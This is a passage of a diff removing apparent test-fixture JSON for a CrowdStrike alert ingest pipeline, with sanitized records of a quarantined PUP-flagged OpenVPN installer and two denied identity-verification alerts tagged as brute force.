XYZ\",\"overwatch_note_timestamp\":\"2025-03-01T15:31:00Z\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"rule_group_id\":\"1b27b7f123c44e15a13fe7f44801d123\",\"rule_group_name\":\"Windows Group\",\"rule_instance_created_by\":\"myuser@mydomain.com\",\"rule_instance_id\":\"123\",\"rule_instance_name\":\"INSTANCE-1\",\"rule_instance_version\":\"1\",\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}",
-                "severity": 21,
-                "type": [
-                    "start"
-                ]
-            },
-            "file": {
-                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe"
-            },
-            "host": {
-                "domain": "ABC.LOCAL",
-                "hostname": "ABC709-1175",
-                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "mac": [
-                    "AB-21-48-61-05-B2"
-                ],
-                "os": {
-                    "full": "Windows11",
-                    "platform": "Windows",
-                    "type": "windows"
-                }
-            },
-            "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
-            "process": {
-                "end": "2023-11-03T18:00:21.000Z",
-                "entity_id": "399748687993",
-                "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                "hash": {
-                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
-                },
-                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                "parent": {
-                    "command_line": "C:\\WINDOWS\\Explorer.EXE",
-                    "entity_id": "392736520876",
-                    "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
-                    "hash": {
-                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
-                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4"
-                    },
-                    "name": "explorer.exe",
-                    "pid": 392736520876
-                },
-                "pid": 399748687993,
-                "start": "2023-11-03T18:00:13.000Z",
-                "user": {
-                    "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "name": "mohit.jha"
-                }
-            },
-            "related": {
-                "hash": [
-                    "b07f77fd3f9828b2c9d61f8a36609741",
-                    "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                    "cdf9cfebb400ce89d5b6032bfcdc693b",
-                    "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "8cc3fcdd7d52d2d5221303c213e044ae",
-                    "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                    "0000000000000000000000000000000000000000"
-                ],
-                "hosts": [
-                    "ABC.LOCAL",
-                    "ABC709-1175"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "user": [
-                    "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "yuvraj.mahajan",
-                    "mohit.jha"
-                ]
-            },
-            "tags": [
-                "preserve_original_event",
-                "preserve_duplicate_custom_fields"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "id": [
-                        "CSTA0004"
-                    ],
-                    "name": [
-                        "MachineLearning"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "CST0000"
-                    ],
-                    "name": [
-                        "Adware/PUP"
-                    ]
-                }
-            },
-            "user": {
-                "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                "name": "mohit.jha"
-            }
-        },
-        {
-            "@timestamp": "2024-08-19T18:44:01.100Z",
-            "cloud": {
-                "account": {
-                    "id": "65ddx-c454-45f9-9034-Fdf34353"
-                }
-            },
-            "crowdstrike": {
-                "alert": {
-                    "active_directory_authentication_method": 5,
-                    "activity": {
-                        "browser": "Edge 126.0.0",
-                        "device": "LAPTOP-AP7299QV",
-                        "id": "2A8A7C96-0F17-412C-8105-94542784E00D",
-                        "os": "Windows"
-                    },
-                    "agent_id": "38293534662e48c99f33c61631b3536d",
-                    "aggregate_id": "aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
-                    "alert_attributes": 0,
-                    "cid": "4446934rf3fdb64ec3056ddfb96e",
-                    "composite_id": "874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
-                    "confidence": 80,
-                    "context_timestamp": "2024-08-16T18:43:44.242Z",
-                    "crawled_timestamp": "2024-08-16T18:49:02.798Z",
-                    "created_timestamp": "2024-08-16T18:45:02.987Z",
-                    "data_domains": [
-                        "Identity"
-                    ],
-                    "description": "A user denied a policy identity verification request",
-                    "display_name": "Identity verification denied",
-                    "end_time": "2024-08-16T18:43:44.242Z",
-                    "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a",
-                    "id": "ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
-                    "idp_policy": {
-                        "mfa_factor_type": 32769,
-                        "mfa_provider": 14,
-                        "rule_id": "1B82F2DE-2A08-49E0-8F85-AD46996F9A65",
-                        "rule_name": "admin - RDP Access to TIER-0 Servers"
-                    },
-                    "ldap_search_query_attack": 16,
-                    "location_country_code": "US",
-                    "location_latitude_as_int": 340726,
-                    "location_longitude_as_int": -1182610,
-                    "model_anomaly_indicators": [
-                        "ACCOUNT_IMPOSSIBLE_VELOCITY",
-                        "ENVIRONMENT_UNUSUAL_IP",
-                        "ENVIRONMENT_UNUSUAL_ISP_DOMAIN",
-                        "ISP_DATACENTER_CLASSIFICATION"
-                    ],
-                    "name": "IdpPolicyIdentityVerificationDenied",
-                    "objective": "Gain Access",
-                    "pattern_id": "51143",
-                    "poly_id": "AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==",
-                    "product": "idp",
-                    "protocol_anomaly_classification": 1,
-                    "scenario": "suspicious_activity",
-                    "seconds_to_resolved": 0,
-                    "seconds_to_triaged": 0,
-                    "severity": 79,
-                    "severity_name": "High",
-                    "show_in_ui": true,
-                    "source": {
-                        "account_azure_id": "65ddx-c454-45f9-9034-Fdf34353",
-                        "account_domain": "NET.example.com",
-                        "account_name": "admin.example",
-                        "account_object_guid": "9F2CE16C-4A78-42E6-8565-87147707EE79",
-                        "account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1567733",
-                        "account_sam_account_name": "admin.abcdef",
-                        "account_upn": "admin.abcdef@example.com",
-                        "endpoint_account_object_guid": "E436B3F0-078C-4629-9437-D3E3169147C0",
-                        "endpoint_account_object_sid": "S-1-5-21-111111111-2222222-1417001333-101158",
-                        "endpoint_address_ip4": "81.2.69.144",
-                        "endpoint_host_name": "ABDC454.net.example.com",
-                        "endpoint_ip_address": "81.2.69.144",
-                        "endpoint_ip_reputation": 128,
-                        "endpoint_sensor_id": "38293534662e48c99f33c61631b3536d",
-                        "ip_isp_classification": 9,
-                        "ip_isp_domain": "sioru.com"
-                    },
-                    "source_products": [
-                        "Falcon Identity Protection"
-                    ],
-                    "source_vendors": [
-                        "CrowdStrike"
-                    ],
-                    "start_time": "2024-08-19T18:43:44.242Z",
-                    "status": "new",
-                    "tactic": "Credential Access",
-                    "tactic_id": "TA0006",
-                    "tags": [
-                        "falcon_complete"
-                    ],
-                    "target": {
-                        "account_name": "HFJFJFFFFFFF$",
-                        "domain_controller_host_name": "APINTAL19DC01",
-                        "domain_controller_object_guid": "45A24DB7-6CD3-48C5-974F-A97159E7E2B2",
-                        "domain_controller_object_sid": "S-1-5-21-111111111-2222222-1417001333-85512",
-                        "endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E",
-                        "endpoint_account_object_sid": "S-1-5-21-746137067-1844237615-1801674531-298236",
-                        "endpoint_host_name": "GH787.net.example.com",
-                        "endpoint_sensor_id": "ac89a368e77a4fa5837b53c7f11fc9e7",
-                        "service_access_identifier": "HOST/admin.example.com"
-                    },
-                    "technique": "Brute Force",
-                    "technique_id": "T1110",
-                    "timestamp": "2024-08-19T18:44:01.100Z",
-                    "type": "idp-user-endpoint-app-info",
-                    "updated_timestamp": "2024-08-19T18:49:02.798Z",
-                    "user_name": "admin.abcdef"
-                }
-            },
-            "destination": {
-                "domain": "GH787.net.example.com",
-                "user": {
-                    "domain": "APINTAL19DC01",
-                    "name": "HFJFJFFFFFFF$"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "end": "2024-08-16T18:43:44.242Z",
-                "id": "ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
-                "kind": "alert",
-                "original": "{\"agent_id\":\"38293534662e48c99f33c61631b3536d\",\"aggregate_id\":\"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"cid\":\"4446934rf3fdb64ec3056ddfb96e\",\"composite_id\":\"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"confidence\":80,\"context_timestamp\":\"2024-08-16T18:43:44.242Z\",\"crawled_timestamp\":\"2024-08-16T18:49:02.798354466Z\",\"created_timestamp\":\"2024-08-16T18:45:02.987127397Z\",\"data_domains\":[\"Identity\"],\"description\":\"A user denied a policy identity verification request\",\"display_name\":\"Identity verification denied\",\"end_time\":\"2024-08-16T18:43:44.242Z\",\"falcon_host_link\":\"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a\",\"id\":\"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"idp_policy_mfa_factor_type\":\"32769\",\"idp_policy_mfa_provider\":\"14\",\"idp_policy_rule_id\":\"1B82F2DE-2A08-49E0-8F85-AD46996F9A65\",\"idp_policy_rule_name\":\"admin - RDP Access to TIER-0 Servers\",\"name\":\"IdpPolicyIdentityVerificationDenied\",\"objective\":\"Gain Access\",\"pattern_id\":51143,\"poly_id\":\"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==\",\"product\":\"idp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":79,\"severity_name\":\"High\",\"show_in_ui\":true,\"source_account_azure_id\":\"65ddx-c454-45f9-9034-Fdf34353\",\"source_account_domain\":\"NET.example.com\",\"source_account_name\":\"admin.example\",\"source_account_object_sid\":\"S-14-5424-21-dfaf3-234343-3434-1567733\",\"source_account_sam_account_name\":\"admin.abcdef\",\"source_account_upn\":\"admin.abcdef@example.com\",\"source_endpoint_account_object_guid\":\"E436B3F0-078C-4629-9437-D3E3169147C0\",\"source_endpoint_address_ip4\":\"81.2.69.144\",\"source_endpoint_host_name\":\"ABDC454.net.example.com\",\"source_endpoint_ip_address\":\"81.2.69.144\",\"source_endpoint_sensor_id\":\"38293534662e48c99f33c61631b3536d\",\"source_products\":[\"Falcon Identity Protection\"],\"source_vendors\":[\"CrowdStrike\"],\"start_time\":\"2024-08-19T18:43:44.242Z\",\"status\":\"new\",\"tactic\":\"Credential Access\",\"tactic_id\":\"TA0006\",\"technique\":\"Brute Force\",\"technique_id\":\"T1110\",\"tags\":[\"falcon_complete\"],\"target_account_name\":\"HFJFJFFFFFFF$\",\"target_endpoint_account_object_guid\":\"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E\",\"target_endpoint_account_object_sid\":\"S-1-5-21-746137067-1844237615-1801674531-298236\",\"target_endpoint_host_name\":\"GH787.net.example.com\",\"target_endpoint_sensor_id\":\"ac89a368e77a4fa5837b53c7f11fc9e7\",\"timestamp\":\"2024-08-19T18:44:01.1Z\",\"type\":\"idp-user-endpoint-app-info\",\"updated_timestamp\":\"2024-08-19T18:49:02.798344752Z\",\"user_name\":\"admin.abcdef\",\"activity_browser\":\"Edge 126.0.0\",\"activity_device\":\"LAPTOP-AP7299QV\",\"activity_os\":\"Windows\",\"active_directory_authentication_method\":\"5\",\"activity_id\":\"2A8A7C96-0F17-412C-8105-94542784E00D\",\"alert_attributes\":\"0\",\"location_country_code\":\"US\",\"location_latitude_as_int\":340726,\"location_longitude_as_int\":-1182610,\"model_anomaly_indicators\":[\"ACCOUNT_IMPOSSIBLE_VELOCITY\",\"ENVIRONMENT_UNUSUAL_IP\",\"ENVIRONMENT_UNUSUAL_ISP_DOMAIN\",\"ISP_DATACENTER_CLASSIFICATION\"],\"ldap_search_query_attack\":\"16\",\"protocol_anomaly_classification\":\"1\",\"source_account_object_guid\":\"9F2CE16C-4A78-42E6-8565-87147707EE79\",\"source_endpoint_account_object_sid\":\"S-1-5-21-111111111-2222222-1417001333-101158\",\"source_endpoint_ip_reputation\":\"128\",\"source_ip_isp_classification\":\"9\",\"source_ip_isp_domain\":\"sioru.com\",\"target_domain_controller_host_name\":\"APINTAL19DC01\",\"target_domain_controller_object_guid\":\"45A24DB7-6CD3-48C5-974F-A97159E7E2B2\",\"target_domain_controller_object_sid\":\"S-1-5-21-111111111-2222222-1417001333-85512\",\"target_service_access_identifier\":\"HOST/admin.example.com\"}",
-                "severity": 73,
-                "start": "2024-08-19T18:43:44.242Z"
-            },
-            "host": {
-                "id": "38293534662e48c99f33c61631b3536d"
-            },
-            "message": "A user denied a policy identity verification request",
-            "observer": {
-                "geo": {
-                    "country_iso_code": "US",
-                    "location": {
-                        "lat": 340726,
-                        "lon": -1182610
-                    }
-                }
-            },
-            "related": {
-                "hosts": [
-                    "NET.example.com",
-                    "ABDC454.net.example.com",
-                    "GH787.net.example.com",
-                    "APINTAL19DC01"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "user": [
-                    "admin.example",
-                    "admin.abcdef@example.com",
-                    "HFJFJFFFFFFF$",
-                    "admin.abcdef"
-                ]
-            },
-            "rule": {
-                "id": "1B82F2DE-2A08-49E0-8F85-AD46996F9A65",
-                "name": "admin - RDP Access to TIER-0 Servers"
-            },
-            "source": {
-                "domain": "ABDC454.net.example.com",
-                "ip": "81.2.69.144",
-                "user": {
-                    "domain": "NET.example.com",
-                    "name": "admin.example"
-                }
-            },
-            "tags": [
-                "preserve_original_event",
-                "preserve_duplicate_custom_fields",
-                "falcon_complete"
-            ],
-            "threat": {
-                "framework": "MITRE ATT&CK",
-                "tactic": {
-                    "id": [
-                        "TA0006"
-                    ],
-                    "name": [
-                        "Credential Access"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "T1110"
-                    ],
-                    "name": [
-                        "Brute Force"
-                    ]
-                }
-            },
-            "user": {
-                "name": "admin.abcdef"
-            }
-        },
-        {
-            "@timestamp": "2024-08-19T18:44:01.100Z",
-            "cloud": {
-                "account": {
-                    "id": "65ddx-c454-324d-9034-Fdf34353"
-                }
-            },
-            "crowdstrike": {
-                "alert": {
-                    "active_directory_authentication_method": 4,
-                    "activity": {
-                        "browser": "Edge126.0.0",
-                        "device": "LAPTOP-ADFVEJM234V",
-                        "id": "3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D",
-                        "os": "Windows"
-                    },
-                    "agent_id": "58293534772e48c99f33c61631b3536d",
-                    "aggregate_id": "aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9",
-                    "alert_attributes": 0,
-                    "cid": "4446934rf3fdb64ec3056ddfb96e",
-                    "composite_id": "874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
-                    "context_timestamp": "2024-08-19T18:43:44.242Z",
-                    "crawled_timestamp": "2024-08-19T18:49:02.798Z",
-                    "created_timestamp": "2024-08-19T18:45:02.987Z",
-                    "data_domains": [
-                        "Identity"
-                    ],
-                    "description": "Auserdeniedapolicyidentityverificationrequest",
-                    "display_name": "Identityverificationdenied",
-                    "end_time": "2024-08-19T18:43:44.242Z",
-                    "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a",
-                    "id": "ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429",
-                    "idp_policy": {
-                        "mfa_factor_type": 42669,
-                        "mfa_provider": 11,
-                        "rule_id": "123324-343-4dfa9E0-8F85-dfaa3242",
-                        "rule_name": "admin-RDPAccesstoTIER-0Servers"
-                    },
-                    "ldap_search_query_attack": 16,
-                    "location_country_code": "US",
-                    "location_latitude_as_int": 320316,
-                    "location_longitude_as_int": -12729080,
-                    "model_anomaly_indicators": [
-                        "ACCOUNT_IMPOSSIBLE_VELOCITY",
-                        "ENVIRONMENT_UNUSUAL_IP",
-                        "ENVIRONMENT_UNUSUAL_ISP_DOMAIN",
-                        "ISP_DATACENTER_CLASSIFICATION"
-                    ],
-                    "name": "IdpPolicyIdentityVerificationDenied",
-                    "objective": "GainAccess",
-                    "pattern_id": "45897",
-                    "poly_id": "MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==",
-                    "product": "idp",
-                    "protocol_anomaly_classification": 1,
-                    "scenario": "suspicious_activity",
-                    "seconds_to_resolved": 0,
-                    "seconds_to_triaged": 0,
-                    "severity": 79,
-                    "severity_name": "Medium",
-                    "show_in_ui": true,
-                    "source": {
-                        "account_azure_id": "65ddx-c454-324d-9034-Fdf34353",
-                        "account_domain": "BCD.example.com",
-                        "account_name": "admin.example",
-                        "account_object_guid": "78HF9842-HGG5-324F-9565-GJD47324",
-                        "account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1117733",
-                        "account_sam_account_name": "admin.abcdef",
-                        "account_upn": "admin.abcdef@example.com",
-                        "endpoint_account_object_guid": "FDHJJ343-098C-4629-9437-DD3424GHJ",
-                        "endpoint_account_object_sid": "S-1-4-21-111111111-2222222-14171121333-1045999",
-                        "endpoint_address_ip4": "81.2.69.144",
-                        "endpoint_host_name": "ABDC454.net.example.com",
-                        "endpoint_ip_address": "81.2.69.144",
-                        "endpoint_ip_reputation": 118,
-                        "endpoint_sensor_id": "38293523261gh48c99ffd234c6190123536e",
-                        "ip_isp_classification": 8,
-                        "ip_isp_domain": "abc.com"
-                    },
-                    "source_products": [
-                        "FalconIdentityProtection"
-                    ],
-                    "source_vendors": [
-                        "CrowdStrike"
-                    ],
-                    "start_time": "2024-08-19T18:43:44.242Z",
-                    "status": "new",
-                    "tactic": "CredentialAccess",
-                    "tactic_id": "TA0006",
-                    "tags": [
-                        "falcon_complete"
-                    ],
-                    "target": {
-                        "account_name": "HFJFJFFFFFFF$",
-                        "domain_controller_host_name": "GHPOTAL12578",
-                        "domain_controller_object_guid": "59B24AA7-4GH8-f7H0-994F-B90159E7M2K1",
-                        "domain_controller_object_sid": "S-2-8-21-333333-2222222-3431-95511",
-                        "endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536",
-                        "endpoint_account_object_sid": "S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236",
-                        "endpoint_host_name": "GH787.abc.example.com",
-                        "endpoint_sensor_id": "afdsasf3423432nndv3432v",
-                        "service_access_identifier": "HOST/root.demo.com"
-                    },
-                    "technique": "BruteForce",
-                    "technique_id": "T1110",
-                    "timestamp": "2024-08-19T18:44:01.100Z",
-                    "type": "idp-user-endpoint-app-info",
-                    "updated_timestamp": "2024-08-19T18:49:02.798Z",
-                    "user_name": "admin.abcdef"
-                }
-            },
-            "destination": {
-                "domain": "GH787.abc.example.com",
-                "user": {
-                    "domain": "GHPOTAL12578",
-                    "name": "HFJFJFFFFFFF$"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "end": "2024-08-19T18:43:44.242Z",
-                "id": "ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429",
-                "kind": "alert",
-                "original": "{\"aggregate_id\":\"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9\",\"agent_id\":\"58293534772e48c99f33c61631b3536d\",\"cid\":\"4446934rf3fdb64ec3056ddfb96e\",\"context_timestamp\":\"2024-08-19T18:43:44.242Z\",\"composite_id\":\"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"crawled_timestamp\":\"2024-08-19T18:49:02.798354466Z\",\"created_timestamp\":\"2024-08-19T18:45:02.987127397Z\",\"data_domains\":[\"Identity\"],\"description\":\"Auserdeniedapolicyidentityverificationrequest\",\"display_name\":\"Identityverificationdenied\",\"end_time\":\"2024-08-19T18:43:44.242Z\",\"falcon_host_link\":\"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a\",\"id\":\"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429\",\"idp_policy_mfa_factor_type\":\"42669\",\"idp_policy_mfa_provider\":\"11\",\"idp_policy_rule_id\":\"123324-343-4dfa9E0-8F85-dfaa3242\",\"idp_policy_rule_name\":\"admin-RDPAccesstoTIER-0Servers\",\"name\":\"IdpPolicyIdentityVerificationDenied\",\"objective\":\"GainAccess\",\"pattern_id\":45897,\"poly_id\":\"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==\",\"product\":\"idp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":79,\"severity_name\":\"Medium\",\"show_in_ui\":true,\"source_account_azure_id\":\"65ddx-c454-324d-9034-Fdf34353\",\"source_account_domain\":\"BCD.example.com\",\"source_account_name\":\"admin.example\",\"source_account_object_sid\":\"S-14-5424-21-dfaf3-234343-3434-1117733\",\"source_account_sam_account_name\":\"admin.abcdef\",\"source_account_upn\":\"admin.abcdef@example.com\",\"source_endpoint_account_object_guid\":\"FDHJJ343-098C-4629-9437-DD3424GHJ\",\"source_endpoint_address_ip4\":\"81.2.69.144\",\"source_endpoint_host_name\":\"ABDC454.net.example.com\",\"source_endpoint_ip_address\":\"81.2.69.144\",\"source_endpoint_sensor_id\":\"38293523261gh48c99ffd234c6190123536e\",\"source_products\":[\"FalconIdentityProtection\"],\"source_vendors\":[\"CrowdStrike\"],\"start_time\":\"2024-08-19T18:43:44.242Z\",\"status\":\"new\",\"tactic\":\"CredentialAccess\",\"tactic_id\":\"TA0006\",\"technique\":\"BruteForce\",\"technique_id\":\"T1110\",\"tags\":[\"falcon_complete\"],\"target_account_name\":\"HFJFJFFFFFFF$\",\"target_endpoint_account_object_guid\":\"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536\",\"target_endpoint_account_object_sid\":\"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236\",\"target_endpoint_host_name\":\"GH787.abc.example.com\",\"target_endpoint_sensor_id\":\"afdsasf3423432nndv3432v\",\"timestamp\":\"2024-08-19T18:44:01.1Z\",\"type\":\"idp-user-endpoint-app-info\",\"updated_timestamp\":\"2024-08-19T18:49:02.798344752Z\",\"user_name\":\"admin.abcdef\",\"activity_browser\":\"Edge126.0.0\",\"activity_device\":\"LAPTOP-ADFVEJM234V\",\"activity_os\":\"Windows\",\"active_directory_authentication_method\":\"4\",\"activity_id\":\"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D\",\"alert_attributes\":\"0\",\"location_country_code\":\"US\",\"location_latitude_as_int\":320316,\"location_longitude_as_int\":-12729080,\"model_anomaly_indicators\":[\"ACCOUNT_IMPOSSIBLE_VELOCITY\",\"ENVIRONMENT_UNUSUAL_IP\",\"ENVIRONMENT_UNUSUAL_ISP_DOMAIN\",\"ISP_DATACENTER_CLASSIFICATION\"],\"ldap_search_query_attack\":\"16\",\"protocol_anomaly_classification\":\"1\",\"source_account_object_guid\":\"78HF9842-HGG5-324F-9565-GJD47324\",\"source_endpoint_account_object_sid\":\"S-1-4-21-111111111-2222222-14171121333-1045999\",\"source_endpoint_ip_reputation\":\"118\",\"source_ip_isp_classification\":\"8\",\"source_ip_isp_domain\":\"abc.com\",\"target_domain_controller_host_name\":\"GHPOTAL12578\",\"target_domain_controller_object_guid\":\"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1\",\"target_domain_controller_obje